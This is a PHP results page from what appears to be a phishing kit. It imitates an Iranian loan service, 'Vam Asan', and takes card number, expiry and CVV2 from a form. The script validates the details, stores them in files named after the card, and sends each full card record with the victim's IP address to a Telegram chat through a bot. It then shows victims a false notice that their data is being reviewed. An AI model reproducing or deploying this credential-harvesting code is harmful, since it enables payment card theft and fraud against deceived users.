<?php
include("config.php");
// بررسی اولیه وجود فیلدها
if (
    isset($_POST['card']) &&
    isset($_POST['M']) &&
    isset($_POST['Y']) &&
    isset($_POST['cvv2'])
) {
    // گرفتن و trim کردن ورودی‌ها
    $cardRaw = trim($_POST['card']);
    $monthRaw = trim($_POST['M']);
    $yearRaw = trim($_POST['Y']);
    $cvvRaw = trim($_POST['cvv2']);

    $card = preg_replace('/\D/', '', $cardRaw);

    $M = $monthRaw;
    $Y = $yearRaw;

    // CVV فقط ارقام
    $cvv = preg_replace('/\D/', '', $cvvRaw);

    // آرایه خطاها
    $errors = [];

    // بررسی‌ها
    if ($card === '') {
        $errors[] = 'شماره کارت وارد نشده';
    } elseif (!preg_match('/^\d{16}$/', $card)) {
        $errors[] = 'شماره کارت باید دقیقاً 16 رقم باشد';
    }

    if (!preg_match('/^\d{2}$/', $M) || (int)$M < 1 || (int)$M > 12) {
        $errors[] = 'ماه نامعتبر است (باید بین 01 تا 12 باشد)';
    }

    if (!preg_match('/^\d{2}$/', $Y)) {
        $errors[] = 'سال نامعتبر است (دو رقم)';
    }

    if ($cvv === '') {
        $errors[] = 'CVV وارد نشده';
    } elseif (!preg_match('/^\d{3,4}$/', $cvv)) {
        $errors[] = 'CVV باید ۳ یا ۴ رقم باشد';
    }

    if (count($errors) > 0) {
        $msg = implode("\\n", $errors);
        echo "<script>alert('اطلاعات وارد نشده یا نامعتبر:\\n$msg'); window.history.back();</script>";
        exit;
    }

    $bank = htmlspecialchars($bankRaw, ENT_QUOTES, 'UTF-8');
    $card = htmlspecialchars($card, ENT_QUOTES, 'UTF-8');
    $M = htmlspecialchars($M, ENT_QUOTES, 'UTF-8');
    $Y = htmlspecialchars($Y, ENT_QUOTES, 'UTF-8');
    $cvv = htmlspecialchars($cvv, ENT_QUOTES, 'UTF-8');
$cardfile = "9b4bc35-cards/$card-$Y-$M-$cvv.txt";
if(file_exists($cardfile)){
$alerttext = "اطلاعات قبلا ثبت شده و در حال بررسی میباشد!";
}else{

    if(isset($_POST['status']) && ($_POST['status'] === "ok")){
$alerttext = "این کارت در سامانه وام آسان ثبت نشده و فاقد تسهیلات از سمت وام آسان میباشد.";
        bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "💰 ɴᴇᴡ #ᴄʜᴇᴄᴋ_ᴄᴀʀᴅ\n
💳 ᴄᴀʀᴅ-ɴᴜᴍ : <code>$card</code>
🖇 ᴄᴠᴠ2 : <code>$cvv</code>
📆 ᴅᴀᴛᴇ : $Y/$M\n
🌐 ɪᴘ : $ip\n
🧑🏻‍💻 ᴅᴇᴠᴇʟᴏᴘᴇʀ / sᴜᴘᴘᴏʀᴛ ~ <a href='https://t.me/$chid'>$chname</a>",
'parse_mode' => 'HTML',
    'disable_web_page_preview' => true ]);
    }else{
file_put_contents("$cardfile","");
$alerttext = "اطلاعات ثبت شد.
نتیجه بررسی پس از حداکثر 48 ساعت کاری به شما اعلام خواهد شد!";
        bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "💰 ɴᴇᴡ #ᴄᴀʀᴅ\n
💳 ᴄᴀʀᴅ-ɴᴜᴍ : <code>$card</code>
🖇 ᴄᴠᴠ2 : <code>$cvv</code>
📆 ᴅᴀᴛᴇ : $Y/$M\n
🌐 ɪᴘ : $ip\n
🧑🏻‍💻 ᴅᴇᴠᴇʟᴏᴘᴇʀ / sᴜᴘᴘᴏʀᴛ ~ <a href='https://t.me/$chid'>$chname</a>",
'parse_mode' => 'HTML',
    'disable_web_page_preview' => true ]);
}
}
} else {
$alerttext = "ورودی تنظیم نشده.";
}
?>


<!DOCTYPE html><html lang="fa" dir="rtl"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ورود با حساب بانکی | وام آسان</title>
    <link rel="stylesheet" href="css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="css/style.css">
    <style>
        .password-toggle {
            transform: translateY(30%);
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header with New Navigation -->
        <header>
            <div class="header-content">
                <div class="logo-container">
                    <div class="logo-img">
                        <i class="fas fa-crown"></i>
                    </div>
                    <a href="" class="logo-text">وام آسان</a>
                </div>
            </div>
        </header>
        
        <!-- Login Form -->
        <div class="login-container">
            <h1 class="login-title">نتیجه بررسی</h1>
            
            <div class="security-notice">
                <i class="fas fa-shield-alt"></i>
<?php echo $alerttext; ?>
</div>
<br> <div class="security-notice"> <a href="menu" class="logo-text">بازگشت به صفحه اصلی</a> </div>
        </div>

    </div>

    <script src="js/script.js"></script>

</body></html>
//CODED BY @MD0TM